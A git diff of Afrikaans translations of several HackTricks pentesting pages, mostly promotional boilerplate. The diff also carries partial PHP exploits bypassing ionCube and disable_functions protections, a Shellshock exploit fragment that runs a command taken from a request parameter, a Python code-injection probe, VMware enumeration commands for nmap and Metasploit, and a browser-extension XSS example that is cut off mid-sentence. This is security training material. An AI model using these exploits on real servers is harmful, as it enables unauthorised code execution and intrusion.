Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,19 +1,20 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# PHP 5.2.4 ionCube-uitbreiding Exploit
# PHP 5.2.4 ionCube uitbreiding Exploit
```php
<?php
//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
@ -51,16 +52,17 @@ echo "<br><br>ionCube output:<br><br>";
echo $MyBoot_ioncube;
?>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Leer en oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# PHP 5.x Shellshock Exploit
Vanaf [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
Van [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
```php
<?php
@ -40,16 +41,17 @@ else return "No output, or not vuln.";
echo shellshock($_REQUEST["cmd"]);
?>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Python
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Bediener wat Python gebruik
## Bediener wat python gebruik
toets 'n moontlike **kodes uitvoering**, deur die _str()_ funksie te gebruik:
toets 'n moontlike **code uitvoering**, met die funksie _str()_:
```python
"+str(True)+" #If the string True is printed, then it is vulnerable
```
### Truuks
### Tricks
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -34,16 +35,17 @@ toets 'n moontlike **kodes uitvoering**, deur die _str()_ funksie te gebruik:
[deserialization](../../pentesting-web/deserialization/)
{% endcontent-ref %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,35 +1,37 @@
# Symfony
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Neem 'n kykie na die volgende plasings:
Kyk na die volgende plasings:
* [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
* [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807)
* [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Enumerasie
# Opname
```bash
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
msf> use auxiliary/scanner/vmware/esx_fingerprint
@ -26,23 +27,24 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
Indien jy geldige geloofsbriewe vind, kan jy meer Metasploit-skandeermodules gebruik om inligting te verkry.
As jy geldige akrediteerbare inligting vind, kan jy meer metasploit skandeerder modules gebruik om inligting te verkry.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# BrowExt - XSS Voorbeeld
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Cross-Site Scripting (XSS) deur middel van Iframe
## Cross-Site Scripting (XSS) deur Iframe
In hierdie opstelling word 'n **inhoudskrip** geïmplementeer om 'n Iframe te instansieer, wat 'n URL met navraagparameters inkorporeer as die bron van die Iframe:
In hierdie opstelling word 'n **inhoudskrip** geïmplementeer om 'n Iframe te instantiëer, wat 'n URL met navraagparameters as die bron van die Iframe insluit:
```javascript
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
@ -25,7 +26,7 @@ let constructedURL = chrome.runtime.getURL("message.html") +
frame.src = constructedURL;
});
```
'n Openlik toeganklike HTML-bladsy, **`message.html`**, is ontwerp om dinamies inhoud by die dokumentliggaam te voeg op grond van die parameters in die URL:
'n Publiek toeganklike HTML-bladsy, **`message.html`**, is ontwerp om dinamies inhoud by die dokumentliggaam te voeg gebaseer op die parameters in die URL:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
@ -37,7 +38,7 @@ chrome.tabs.create({ url: destinationURL });
});
});
```
'n Kwaadwillige skripsie word uitgevoer op 'n teenstander se bladsy, waar die `content` parameter van die Iframe se bron gewysig word om 'n **XSS-payload** in te sluit. Dit word bereik deur die Iframe se bron op te dateer om 'n skadelike skripsie in te sluit:
